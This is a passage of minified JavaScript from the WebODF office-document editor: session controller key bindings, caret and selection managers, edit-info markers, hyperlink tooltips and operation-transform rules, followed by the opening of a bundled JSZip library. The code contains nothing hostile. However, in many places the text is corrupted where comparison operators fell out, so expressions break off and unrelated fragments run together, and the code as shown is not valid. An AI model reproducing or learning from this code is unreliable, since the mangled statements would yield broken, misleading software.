gui.Clipboard(fa),C=new gui.KeyboardHandler,Z=new gui.KeyboardHandler,ba=new gui.KeyboardHandler,U=!1,ga=new odf.ObjectNameGenerator(J.getOdfCanvas().odfContainer(),d),B=!1,Y=null,M,Q=null,F=new gui.EventManager(J),ja=f.annotationsEnabled,ca=new gui.AnnotationController(k, +R,d),X=new gui.DirectFormattingController(k,R,P,d,ga,f.directTextStylingEnabled,f.directParagraphStylingEnabled),da=new gui.TextController(k,R,P,d,X.createCursorStyleOp,X.createParagraphStyleOps),qa=new gui.ImageController(k,R,P,d,ga),la=new gui.ImageSelector(J.getOdfCanvas()),ia=J.createPositionIterator(J.getRootNode()),ma,na,ea=new gui.PasteController(k,R,P,d),ka=new gui.InputMethodEditor(d,F),oa=0,pa=new gui.HyperlinkClickHandler(J.getOdfCanvas().getElement,C,ba),ta=new gui.HyperlinkController(k, +R,P,d),T=new gui.SelectionController(k,d),va=new gui.MetadataController(k,d),G=gui.KeyboardHandler.Modifier,H=gui.KeyboardHandler.KeyCode,ra=-1!==W.navigator.appVersion.toLowerCase().indexOf("mac"),ua=-1!==["iPad","iPod","iPhone"].indexOf(W.navigator.platform),sa;runtime.assert(null!==W,"Expected to be run in an environment which has a global window, like a browser.");this.undo=m;this.redo=h;this.insertLocalCursor=function(){runtime.assert(void 0===k.getOdtDocument().getCursor(d),"Inserting local cursor a second time."); +var a=new ops.OpAddCursor;a.init({memberid:d});k.enqueue([a]);F.focus()};this.removeLocalCursor=function(){runtime.assert(void 0!==k.getOdtDocument().getCursor(d),"Removing local cursor without inserting before.");var a=new ops.OpRemoveCursor;a.init({memberid:d});k.enqueue([a])};this.startEditing=function(){ka.subscribe(gui.InputMethodEditor.signalCompositionStart,da.removeCurrentSelection);ka.subscribe(gui.InputMethodEditor.signalCompositionEnd,N);F.subscribe("beforecut",r);F.subscribe("cut",p); +F.subscribe("beforepaste",l);F.subscribe("paste",e);Q&&Q.initialize();F.setEditing(!0);pa.setModifier(ra?G.Meta:G.Ctrl);C.bind(H.Backspace,G.None,O(da.removeTextByBackspaceKey),!0);C.bind(H.Delete,G.None,da.removeTextByDeleteKey);C.bind(H.Tab,G.None,D(function(){da.insertText("\t");return!0}));ra?(C.bind(H.Clear,G.None,da.removeCurrentSelection),C.bind(H.B,G.Meta,D(X.toggleBold)),C.bind(H.I,G.Meta,D(X.toggleItalic)),C.bind(H.U,G.Meta,D(X.toggleUnderline)),C.bind(H.L,G.MetaShift,D(X.alignParagraphLeft)), +C.bind(H.E,G.MetaShift,D(X.alignParagraphCenter)),C.bind(H.R,G.MetaShift,D(X.alignParagraphRight)),C.bind(H.J,G.MetaShift,D(X.alignParagraphJustified)),ja&&C.bind(H.C,G.MetaShift,ca.addAnnotation),C.bind(H.Z,G.Meta,m),C.bind(H.Z,G.MetaShift,h)):(C.bind(H.B,G.Ctrl,D(X.toggleBold)),C.bind(H.I,G.Ctrl,D(X.toggleItalic)),C.bind(H.U,G.Ctrl,D(X.toggleUnderline)),C.bind(H.L,G.CtrlShift,D(X.alignParagraphLeft)),C.bind(H.E,G.CtrlShift,D(X.alignParagraphCenter)),C.bind(H.R,G.CtrlShift,D(X.alignParagraphRight)), +C.bind(H.J,G.CtrlShift,D(X.alignParagraphJustified)),ja&&C.bind(H.C,G.CtrlAlt,ca.addAnnotation),C.bind(H.Z,G.Ctrl,m),C.bind(H.Z,G.CtrlShift,h));Z.setDefault(D(function(a){var c;c=null===a.which||void 0===a.which?String.fromCharCode(a.keyCode):0!==a.which&&0!==a.charCode?String.fromCharCode(a.which):null;return!c||a.altKey||a.ctrlKey||a.metaKey?!1:(da.insertText(c),!0)}));Z.bind(H.Enter,G.None,D(da.enqueueParagraphSplittingOps))};this.endEditing=function(){ka.unsubscribe(gui.InputMethodEditor.signalCompositionStart, +da.removeCurrentSelection);ka.unsubscribe(gui.InputMethodEditor.signalCompositionEnd,N);F.unsubscribe("cut",p);F.unsubscribe("beforecut",r);F.unsubscribe("paste",e);F.unsubscribe("beforepaste",l);F.setEditing(!1);pa.setModifier(G.None);C.bind(H.Backspace,G.None,function(){return!0},!0);C.unbind(H.Delete,G.None);C.unbind(H.Tab,G.None);ra?(C.unbind(H.Clear,G.None),C.unbind(H.B,G.Meta),C.unbind(H.I,G.Meta),C.unbind(H.U,G.Meta),C.unbind(H.L,G.MetaShift),C.unbind(H.E,G.MetaShift),C.unbind(H.R,G.MetaShift), +C.unbind(H.J,G.MetaShift),ja&&C.unbind(H.C,G.MetaShift),C.unbind(H.Z,G.Meta),C.unbind(H.Z,G.MetaShift)):(C.unbind(H.B,G.Ctrl),C.unbind(H.I,G.Ctrl),C.unbind(H.U,G.Ctrl),C.unbind(H.L,G.CtrlShift),C.unbind(H.E,G.CtrlShift),C.unbind(H.R,G.CtrlShift),C.unbind(H.J,G.CtrlShift),ja&&C.unbind(H.C,G.CtrlAlt),C.unbind(H.Z,G.Ctrl),C.unbind(H.Z,G.CtrlShift));Z.setDefault(null);Z.unbind(H.Enter,G.None)};this.getInputMemberId=function(){return d};this.getSession=function(){return k};this.getSessionConstraints=function(){return R}; +this.setUndoManager=function(a){Q&&Q.unsubscribe(gui.UndoManager.signalUndoStackChanged,c);if(Q=a)Q.setDocument(J),Q.setPlaybackFunction(k.enqueue),Q.subscribe(gui.UndoManager.signalUndoStackChanged,c)};this.getUndoManager=function(){return Q};this.getMetadataController=function(){return va};this.getAnnotationController=function(){return ca};this.getDirectFormattingController=function(){return X};this.getHyperlinkClickHandler=function(){return pa};this.getHyperlinkController=function(){return ta}; +this.getImageController=function(){return qa};this.getSelectionController=function(){return T};this.getTextController=function(){return da};this.getEventManager=function(){return F};this.getKeyboardHandlers=function(){return{keydown:C,keypress:Z}};this.destroy=function(a){var c=[ma.destroy,na.destroy,X.destroy,ka.destroy,F.destroy,pa.destroy,ta.destroy,va.destroy,T.destroy,da.destroy,V];sa&&c.unshift(sa.destroy);runtime.clearTimeout(M);core.Async.destroyAll(c,a)};ma=core.Task.createRedrawTask(z); +na=core.Task.createRedrawTask(function(){var a=J.getCursor(d);if(a&&a.getSelectionType()===ops.OdtCursor.RegionSelection&&(a=S.getImageElements(a.getSelectedRange())[0])){la.select(a.parentNode);return}la.clearSelection()});C.bind(H.Left,G.None,D(T.moveCursorToLeft));C.bind(H.Right,G.None,D(T.moveCursorToRight));C.bind(H.Up,G.None,D(T.moveCursorUp));C.bind(H.Down,G.None,D(T.moveCursorDown));C.bind(H.Left,G.Shift,D(T.extendSelectionToLeft));C.bind(H.Right,G.Shift,D(T.extendSelectionToRight));C.bind(H.Up, +G.Shift,D(T.extendSelectionUp));C.bind(H.Down,G.Shift,D(T.extendSelectionDown));C.bind(H.Home,G.None,D(T.moveCursorToLineStart));C.bind(H.End,G.None,D(T.moveCursorToLineEnd));C.bind(H.Home,G.Ctrl,D(T.moveCursorToDocumentStart));C.bind(H.End,G.Ctrl,D(T.moveCursorToDocumentEnd));C.bind(H.Home,G.Shift,D(T.extendSelectionToLineStart));C.bind(H.End,G.Shift,D(T.extendSelectionToLineEnd));C.bind(H.Up,G.CtrlShift,D(T.extendSelectionToParagraphStart));C.bind(H.Down,G.CtrlShift,D(T.extendSelectionToParagraphEnd)); +C.bind(H.Home,G.CtrlShift,D(T.extendSelectionToDocumentStart));C.bind(H.End,G.CtrlShift,D(T.extendSelectionToDocumentEnd));ra?(C.bind(H.Left,G.Alt,D(T.moveCursorBeforeWord)),C.bind(H.Right,G.Alt,D(T.moveCursorPastWord)),C.bind(H.Left,G.Meta,D(T.moveCursorToLineStart)),C.bind(H.Right,G.Meta,D(T.moveCursorToLineEnd)),C.bind(H.Home,G.Meta,D(T.moveCursorToDocumentStart)),C.bind(H.End,G.Meta,D(T.moveCursorToDocumentEnd)),C.bind(H.Left,G.AltShift,D(T.extendSelectionBeforeWord)),C.bind(H.Right,G.AltShift, +D(T.extendSelectionPastWord)),C.bind(H.Left,G.MetaShift,D(T.extendSelectionToLineStart)),C.bind(H.Right,G.MetaShift,D(T.extendSelectionToLineEnd)),C.bind(H.Up,G.AltShift,D(T.extendSelectionToParagraphStart)),C.bind(H.Down,G.AltShift,D(T.extendSelectionToParagraphEnd)),C.bind(H.Up,G.MetaShift,D(T.extendSelectionToDocumentStart)),C.bind(H.Down,G.MetaShift,D(T.extendSelectionToDocumentEnd)),C.bind(H.A,G.Meta,D(T.extendSelectionToEntireDocument))):(C.bind(H.Left,G.Ctrl,D(T.moveCursorBeforeWord)),C.bind(H.Right, +G.Ctrl,D(T.moveCursorPastWord)),C.bind(H.Left,G.CtrlShift,D(T.extendSelectionBeforeWord)),C.bind(H.Right,G.CtrlShift,D(T.extendSelectionPastWord)),C.bind(H.A,G.Ctrl,D(T.extendSelectionToEntireDocument)));ua&&(sa=new gui.IOSSafariSupport(F));F.subscribe("keydown",C.handleEvent);F.subscribe("keypress",Z.handleEvent);F.subscribe("keyup",ba.handleEvent);F.subscribe("copy",q);F.subscribe("mousedown",w);F.subscribe("mousemove",ma.trigger);F.subscribe("mouseup",E);F.subscribe("contextmenu",L);F.subscribe("dragstart", +I);F.subscribe("dragend",K);F.subscribe("click",pa.handleClick);F.subscribe("longpress",t);F.subscribe("drag",y);F.subscribe("dragstop",x);J.subscribe(ops.OdtDocument.signalOperationEnd,na.trigger);J.subscribe(ops.Document.signalCursorAdded,ka.registerCursor);J.subscribe(ops.Document.signalCursorRemoved,ka.removeCursor);J.subscribe(ops.OdtDocument.signalOperationEnd,a)}})(); +gui.CaretManager=function(g,k){function d(b){return n.hasOwnProperty(b)?n[b]:null}function b(){return Object.keys(n).map(function(b){return n[b]})}function f(b){var d=n[b];d&&(delete n[b],b===g.getInputMemberId()?(r.unsubscribe(ops.OdtDocument.signalProcessingBatchEnd,d.ensureVisible),r.unsubscribe(ops.Document.signalCursorMoved,d.refreshCursorBlinking),q.unsubscribe("compositionupdate",d.handleUpdate),q.unsubscribe("compositionend",d.handleUpdate),q.unsubscribe("focus",d.setFocus),q.unsubscribe("blur", +d.removeFocus),p.removeEventListener("focus",d.show,!1),p.removeEventListener("blur",d.hide,!1)):r.unsubscribe(ops.OdtDocument.signalProcessingBatchEnd,d.handleUpdate),d.destroy(function(){}))}var n={},p=runtime.getWindow(),r=g.getSession().getOdtDocument(),q=g.getEventManager();this.registerCursor=function(b,d,a){var c=b.getMemberId();b=new gui.Caret(b,k,d,a);n[c]=b;c===g.getInputMemberId()?(runtime.log("Starting to track input on new cursor of "+c),r.subscribe(ops.OdtDocument.signalProcessingBatchEnd, +b.ensureVisible),r.subscribe(ops.Document.signalCursorMoved,b.refreshCursorBlinking),q.subscribe("compositionupdate",b.handleUpdate),q.subscribe("compositionend",b.handleUpdate),q.subscribe("focus",b.setFocus),q.subscribe("blur",b.removeFocus),p.addEventListener("focus",b.show,!1),p.addEventListener("blur",b.hide,!1),b.setOverlayElement(q.getEventTrap())):r.subscribe(ops.OdtDocument.signalProcessingBatchEnd,b.handleUpdate);return b};this.getCaret=d;this.getCarets=b;this.destroy=function(d){var l= +b().map(function(a){return a.destroy});g.getSelectionController().setCaretXPositionLocator(null);r.unsubscribe(ops.Document.signalCursorRemoved,f);n={};core.Async.destroyAll(l,d)};g.getSelectionController().setCaretXPositionLocator(function(){var b=d(g.getInputMemberId()),f;b&&(f=b.getBoundingClientRect());return f?f.right:void 0});r.subscribe(ops.Document.signalCursorRemoved,f)}; +gui.EditInfoHandle=function(g){var k=[],d,b=g.ownerDocument,f=b.documentElement.namespaceURI;this.setEdits=function(g){k=g;var p,r,q,e;core.DomUtils.removeAllChildNodes(d);for(g=0;gc?(r=d(1,0),q=d(.5,1E4-c),e=d(.2,2E4-c)):1E4<=c&&2E4>c?(r=d(.5,0),e=d(.2,2E4-c)):r=d(.2,0)};this.getEdits=function(){return g.getEdits()};this.clearEdits=function(){g.clearEdits(); +n.setEdits([]);p.hasAttributeNS("urn:webodf:names:editinfo","editinfo:memberid")&&p.removeAttributeNS("urn:webodf:names:editinfo","editinfo:memberid")};this.getEditInfo=function(){return g};this.show=function(){p.style.display="block"};this.hide=function(){b.hideHandle();p.style.display="none"};this.showHandle=function(){n.show()};this.hideHandle=function(){n.hide()};this.destroy=function(b){runtime.clearTimeout(r);runtime.clearTimeout(q);runtime.clearTimeout(e);f.removeChild(p);n.destroy(function(a){a? +b(a):g.destroy(b)})};(function(){var d=g.getOdtDocument().getDOMDocument();p=d.createElementNS(d.documentElement.namespaceURI,"div");p.setAttribute("class","editInfoMarker");p.onmouseover=function(){b.showHandle()};p.onmouseout=function(){b.hideHandle()};f=g.getNode();f.appendChild(p);n=new gui.EditInfoHandle(f);k||b.hide()})()}; +gui.HyperlinkTooltipView=function(g,k){var d=core.DomUtils,b=odf.OdfUtils,f=runtime.getWindow(),n,p,r;runtime.assert(null!==f,"Expected to be run in an environment which has a global window, like a browser.");this.showTooltip=function(q){var e=q.target||q.srcElement,l=g.getSizer(),a=g.getZoomLevel(),c;a:{for(;e;){if(b.isHyperlink(e))break a;if(b.isParagraph(e)||b.isInlineRoot(e))break;e=e.parentNode}e=null}if(e){d.containsNode(l,r)||l.appendChild(r);c=p;var m;switch(k()){case gui.KeyboardHandler.Modifier.Ctrl:m= +runtime.tr("Ctrl-click to follow link");break;case gui.KeyboardHandler.Modifier.Meta:m=runtime.tr("\u2318-click to follow link");break;default:m=""}c.textContent=m;n.textContent=b.getHyperlinkTarget(e);r.style.display="block";c=f.innerWidth-r.offsetWidth-15;e=q.clientX>c?c:q.clientX+15;c=f.innerHeight-r.offsetHeight-10;q=q.clientY>c?c:q.clientY+10;l=l.getBoundingClientRect();e=(e-l.left)/a;q=(q-l.top)/a;r.style.left=e+"px";r.style.top=q+"px"}};this.hideTooltip=function(){r.style.display="none"};this.destroy= +function(b){r.parentNode&&r.parentNode.removeChild(r);b()};(function(){var b=g.getElement().ownerDocument;n=b.createElement("span");p=b.createElement("span");n.className="webodf-hyperlinkTooltipLink";p.className="webodf-hyperlinkTooltipText";r=b.createElement("div");r.className="webodf-hyperlinkTooltip";r.appendChild(n);r.appendChild(p);g.getElement().appendChild(r)})()}; +gui.OdfFieldView=function(g){function k(){var b=odf.OdfSchema.getFields().map(function(b){return b.replace(":","|")}),d=b.join(",\n")+"\n{ background-color: #D0D0D0; }\n",b=b.map(function(b){return b+":empty::after"}).join(",\n")+"\n{ content:' '; white-space: pre; }\n";return d+"\n"+b}var d,b=g.getElement().ownerDocument;this.showFieldHighlight=function(){d.appendChild(b.createTextNode(k()))};this.hideFieldHighlight=function(){for(var b=d.sheet,g=b.cssRules;g.length;)b.deleteRule(g.length-1)};this.destroy= +function(b){d.parentNode&&d.parentNode.removeChild(d);b()};d=function(){var d=b.getElementsByTagName("head").item(0),g=b.createElement("style"),k="";g.type="text/css";g.media="screen, print, handheld, projection";odf.Namespaces.forEachPrefix(function(b,d){k+="@namespace "+b+" url("+d+");\n"});g.appendChild(b.createTextNode(k));d.appendChild(g);return g}()}; +gui.ShadowCursor=function(g){var k=g.getDOMDocument().createRange(),d=!0;this.removeFromDocument=function(){};this.getMemberId=function(){return gui.ShadowCursor.ShadowCursorMemberId};this.getSelectedRange=function(){return k};this.setSelectedRange=function(b,f){k=b;d=!1!==f};this.hasForwardSelection=function(){return d};this.getDocument=function(){return g};this.getSelectionType=function(){return ops.OdtCursor.RangeSelection};k.setStart(g.getRootNode(),0)};gui.ShadowCursor.ShadowCursorMemberId=""; +gui.SelectionView=function(g){};gui.SelectionView.prototype.rerender=function(){};gui.SelectionView.prototype.show=function(){};gui.SelectionView.prototype.hide=function(){};gui.SelectionView.prototype.destroy=function(g){}; +gui.SelectionViewManager=function(g){function k(){return Object.keys(d).map(function(b){return d[b]})}var d={};this.getSelectionView=function(b){return d.hasOwnProperty(b)?d[b]:null};this.getSelectionViews=k;this.removeSelectionView=function(b){d.hasOwnProperty(b)&&(d[b].destroy(function(){}),delete d[b])};this.hideSelectionView=function(b){d.hasOwnProperty(b)&&d[b].hide()};this.showSelectionView=function(b){d.hasOwnProperty(b)&&d[b].show()};this.rerenderSelectionViews=function(){Object.keys(d).forEach(function(b){d[b].rerender()})}; +this.registerCursor=function(b,f){var k=b.getMemberId(),p=new g(b);f?p.show():p.hide();return d[k]=p};this.destroy=function(b){function d(k,r){r?b(r):k .webodf-draggable"),a=gui.ShadowCursor.ShadowCursorMemberId,e(".webodf-selectionOverlay","{ fill: "+b+"; stroke: "+b+";}",""),e(".webodf-touchEnabled .webodf-selectionOverlay","{ display: block; }"," > .webodf-draggable"))}function l(a){var c,b;for(b in t)t.hasOwnProperty(b)&&(c=t[b],a?c.show():c.hide())}function a(a){n.getCarets().forEach(function(c){a?c.showHandle():c.hideHandle()})}function c(a){var c=a.getMemberId();a=a.getProperties();e(c,a.fullName,a.color)}function m(a){var c= +a.getMemberId(),d=b.getOdtDocument().getMember(c).getProperties();n.registerCursor(a,E,N);p.registerCursor(a,!0);if(a=n.getCaret(c))a.setAvatarImageUrl(d.imageUrl),a.setColor(d.color);runtime.log("+++ View here +++ eagerly created an Caret for '"+c+"'! +++")}function h(a){a=a.getMemberId();var c=p.getSelectionView(d),b=p.getSelectionView(gui.ShadowCursor.ShadowCursorMemberId),e=n.getCaret(d);a===d?(b.hide(),c&&c.show(),e&&e.show()):a===gui.ShadowCursor.ShadowCursorMemberId&&(b.show(),c&&c.hide(), +e&&e.hide())}function y(a){p.removeSelectionView(a)}function x(a){var c=a.paragraphElement,d=a.memberId;a=a.timeStamp;var e,f="",h=c.getElementsByTagNameNS("urn:webodf:names:editinfo","editinfo").item(0);h?(f=h.getAttributeNS("urn:webodf:names:editinfo","id"),e=t[f]):(f=Math.random().toString(),e=new ops.EditInfo(c,b.getOdtDocument()),e=new gui.EditInfoMarker(e,L),h=c.getElementsByTagNameNS("urn:webodf:names:editinfo","editinfo").item(0),h.setAttributeNS("urn:webodf:names:editinfo","id",f),t[f]=e); +e.addEdit(d,new Date(a));K.trigger()}function z(){var a;u.hasChildNodes()&&core.DomUtils.removeAllChildNodes(u);!0===f.getState(gui.CommonConstraints.EDIT.ANNOTATIONS.ONLY_DELETE_OWN)&&(a=b.getOdtDocument().getMember(d))&&(a=a.getProperties().fullName,u.appendChild(document.createTextNode(".annotationWrapper:not([creator = '"+a+"']) .annotationRemoveButton { display: none; }")))}function w(a){var b=Object.keys(t).map(function(a){return t[a]});A.unsubscribe(ops.Document.signalMemberAdded,c);A.unsubscribe(ops.Document.signalMemberUpdated, +c);A.unsubscribe(ops.Document.signalCursorAdded,m);A.unsubscribe(ops.Document.signalCursorRemoved,y);A.unsubscribe(ops.OdtDocument.signalParagraphChanged,x);A.unsubscribe(ops.Document.signalCursorMoved,h);A.unsubscribe(ops.OdtDocument.signalParagraphChanged,p.rerenderSelectionViews);A.unsubscribe(ops.OdtDocument.signalTableAdded,p.rerenderSelectionViews);A.unsubscribe(ops.OdtDocument.signalParagraphStyleModified,p.rerenderSelectionViews);f.unsubscribe(gui.CommonConstraints.EDIT.ANNOTATIONS.ONLY_DELETE_OWN, +z);A.unsubscribe(ops.Document.signalMemberAdded,z);A.unsubscribe(ops.Document.signalMemberUpdated,z);v.parentNode.removeChild(v);u.parentNode.removeChild(u);(function W(c,d){d?a(d):ca.length;c&&g(a);return c}function d(a,c){function b(e){a[e]===c&&d.push(e)}var d=[];a&&["style:parent-style-name","style:next-style-name"].forEach(b);return d}function b(a,c){function b(d){a[d]===c&&delete a[d]}a&&["style:parent-style-name","style:next-style-name"].forEach(b)}function f(a){var c={};Object.keys(a).forEach(function(b){c[b]="object"===typeof a[b]?f(a[b]):a[b]});return c}function n(a, +c,b,d){var e,f=!1,g=!1,k,l=[];d&&d.attributes&&(l=d.attributes.split(","));a&&(b||0=a.length?0:a.length-e.length)):void 0!==a.length&&(e=a.position+a.length,d<=e?a.length-=c.length:b=c.position+c.length)){d=b?a:c;e=b?c:a;if(a.position!==c.position||a.length!==c.length)n=f(d),r=f(e);c=q(e.setProperties,null,d.setProperties, +null,"style:text-properties");if(c.majorChanged||c.minorChanged)g=[],a=[],k=d.position+d.length,l=e.position+e.length,e.positionk?c.minorChanged&&(n=r,n.position=k,n.length=l-k,a.push(n),e.length=k-e.position):k>l&&c.majorChanged&&(n.position=l, +n.length=k-l,g.push(n),d.length=l-d.position),d.setProperties&&p(d.setProperties)&&g.push(d),e.setProperties&&p(e.setProperties)&&a.push(e),b?(k=g,g=a):k=a}return{opSpecsA:k,opSpecsB:g}},InsertText:function(a,c){c.position<=a.position?a.position+=c.text.length:c.position<=a.position+a.length&&(a.length+=c.text.length);return{opSpecsA:[a],opSpecsB:[c]}},MergeParagraph:function(a,c){var b=a.position,d=a.position+a.length;b>=c.sourceStartPosition&&--b;d>=c.sourceStartPosition&&--d;a.position=b;a.length= +d-b;return{opSpecsA:[a],opSpecsB:[c]}},MoveCursor:e,RemoveAnnotation:function(a,b){var d=a.position,e=a.position+a.length,f=b.position+b.length,g=[a],k=[b];b.position<=d&&e<=f?g=[]:(fb.position?a.position+=b.text.length:d?b.position+=a.text.length:a.position+= +b.text.length;return{opSpecsA:[a],opSpecsB:[b]}},MergeParagraph:function(a,b){a.position>=b.sourceStartPosition?--a.position:(a.positiona.position&&(b.position+=a.text.length);return{opSpecsA:[a],opSpecsB:[b]}},SplitParagraph:function(a,b){a.position=a.sourceStartPosition&&--f;d>=a.sourceStartPosition&&--d;0<=b.length?(b.position=f,b.length=d-f):(b.position=d,b.length=f-d);return{opSpecsA:[a],opSpecsB:[b]}},RemoveAnnotation:function(a,b){var d=b.position+b.length,e=[a],f=[b];b.position<=a.destinationStartPosition&&a.sourceStartPosition<=d?(e=[],--b.length):a.sourceStartPosition=a.sourceStartPosition?--b.position:(b.positiona.sourceStartPosition)--b.position;else if(b.position===a.destinationStartPosition||b.position===a.sourceStartPosition)b.position=a.destinationStartPosition,a.paragraphStyleName=b.styleName;return{opSpecsA:d,opSpecsB:e}},SplitParagraph:function(a,b){var d,e=[a],f=[b];b.position=a.destinationStartPosition&&b.position=a.sourceStartPosition&&(--b.position,--b.sourceParagraphPosition);return{opSpecsA:e,opSpecsB:f}},UpdateMember:e,UpdateMetadata:e, +UpdateParagraphStyle:e},MoveCursor:{MoveCursor:e,RemoveAnnotation:function(a,b){var d=k(a),e=a.position+a.length,f=b.position+b.length;b.position<=a.position&&e<=f?(a.position=b.position-1,a.length=0):(fb.position?a.position+= +1:a.position===b.sourceParagraphPosition&&(b.paragraphStyleName=a.styleName,g=f(a),g.position=b.position+1,d.push(g));return{opSpecsA:d,opSpecsB:e}},UpdateMember:e,UpdateMetadata:e,UpdateParagraphStyle:e},SplitParagraph:{SplitParagraph:function(a,b,d){var e,f;a.position + +(c) 2009-2014 Stuart Knightley +Dual licenced under the MIT license or GPLv3. See https://raw.github.com/Stuk/jszip/master/LICENSE.markdown. + +JSZip uses the library pako released under the MIT license : +https://github.com/nodeca/pako/blob/master/LICENSE + @licend +*/ +!function(e){var globalScope=typeof window!=="undefined"?window:typeof global!=="undefined"?global:{},externs=globalScope.externs||(globalScope.externs={});externs.JSZip=e()}(function(){var define,module,exports;return function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);throw new Error("Cannot find module '"+o+"'");}var f=n[o]={exports:{}};t[o][0].call(f.exports,function(e){var n=t[o][1][e];return s(n?n:e)},f, +f.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o>2;enc2=(chr1&3)<<4|chr2>>4;enc3=(chr2&15)<<2|chr3>> +6;enc4=chr3&63;if(isNaN(chr2))enc3=enc4=64;else if(isNaN(chr3))enc4=64;output=output+_keyStr.charAt(enc1)+_keyStr.charAt(enc2)+_keyStr.charAt(enc3)+_keyStr.charAt(enc4)}return output};exports.decode=function(input,utf8){var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");while(i>4;chr2=(enc2&15)<<4|enc3>>2;chr3=(enc3&3)<<6|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64)output=output+String.fromCharCode(chr2);if(enc4!=64)output=output+String.fromCharCode(chr3)}return output}},{}],2:[function(_dereq_,module,exports){function CompressedObject(){this.compressedSize=0;this.uncompressedSize=0;this.crc32=0;this.compressionMethod=null;this.compressedContent=null}CompressedObject.prototype={getContent:function(){return null},getCompressedContent:function(){return null}}; +module.exports=CompressedObject},{}],3:[function(_dereq_,module,exports){exports.STORE={magic:"\x00\x00",compress:function(content){return content},uncompress:function(content){return content},compressInputType:null,uncompressInputType:null};exports.DEFLATE=_dereq_("./flate")},{"./flate":8}],4:[function(_dereq_,module,exports){var utils=_dereq_("./utils");var table=[0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021, +3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152,4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527, +1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290,251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856, +1141124467,855842277,2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015,1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626, +1742555852,4189708143,2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381,1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692, +2075208622,213261112,2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115,1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918E3,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614, +3294710456,1567103746,711928724,3020668471,3272380065,1510334235,755167117];module.exports=function crc32(input,crc){if(typeof input==="undefined"||!input.length)return 0;var isArray=utils.getTypeOf(input)!=="string";if(typeof crc=="undefined")crc=0;var x=0;var y=0;var b=0;crc=crc^-1;for(var i=0,iTop=input.length;i>>8^x}return crc^-1}},{"./utils":21}],5:[function(_dereq_,module,exports){var utils=_dereq_("./utils"); +function DataReader(data){this.data=null;this.length=0;this.index=0}DataReader.prototype={checkOffset:function(offset){this.checkIndex(this.index+offset)},checkIndex:function(newIndex){if(this.length=this.index;i--)result=(result<<8)+this.byteAt(i);this.index+=size;return result},readString:function(size){return utils.transformTo("string",this.readData(size))},readData:function(size){},lastIndexOfSignature:function(sig){},readDate:function(){var dostime=this.readInt(4);return new Date((dostime>>25&127)+1980,(dostime>>21&15)-1,dostime>>16&31,dostime>>11&31,dostime>>5&63,(dostime&31)<<1)}};module.exports=DataReader},{"./utils":21}],6:[function(_dereq_, +module,exports){exports.base64=false;exports.binary=false;exports.dir=false;exports.createFolders=false;exports.date=null;exports.compression=null;exports.comment=null},{}],7:[function(_dereq_,module,exports){var utils=_dereq_("./utils");exports.string2binary=function(str){return utils.string2binary(str)};exports.string2Uint8Array=function(str){return utils.transformTo("uint8array",str)};exports.uint8Array2String=function(array){return utils.transformTo("string",array)};exports.string2Blob=function(str){var buffer= +utils.transformTo("arraybuffer",str);return utils.arrayBuffer2Blob(buffer)};exports.arrayBuffer2Blob=function(buffer){return utils.arrayBuffer2Blob(buffer)};exports.transformTo=function(outputType,input){return utils.transformTo(outputType,input)};exports.getTypeOf=function(input){return utils.getTypeOf(input)};exports.checkSupport=function(type){return utils.checkSupport(type)};exports.MAX_VALUE_16BITS=utils.MAX_VALUE_16BITS;exports.MAX_VALUE_32BITS=utils.MAX_VALUE_32BITS;exports.pretty=function(str){return utils.pretty(str)}; +exports.findCompression=function(compressionMethod){return utils.findCompression(compressionMethod)};exports.isRegExp=function(object){return utils.isRegExp(object)}},{"./utils":21}],8:[function(_dereq_,module,exports){var USE_TYPEDARRAY=typeof Uint8Array!=="undefined"&&typeof Uint16Array!=="undefined"&&typeof Uint32Array!=="undefined";var pako=_dereq_("pako");exports.uncompressInputType=USE_TYPEDARRAY?"uint8array":"array";exports.compressInputType=USE_TYPEDARRAY?"uint8array":"array";exports.magic= +"\b\x00";exports.compress=function(input){return pako.deflateRaw(input)};exports.uncompress=function(input){return pako.inflateRaw(input)}},{"pako":24}],9:[function(_dereq_,module,exports){var base64=_dereq_("./base64");function JSZip(data,options){if(!(this instanceof JSZip))return new 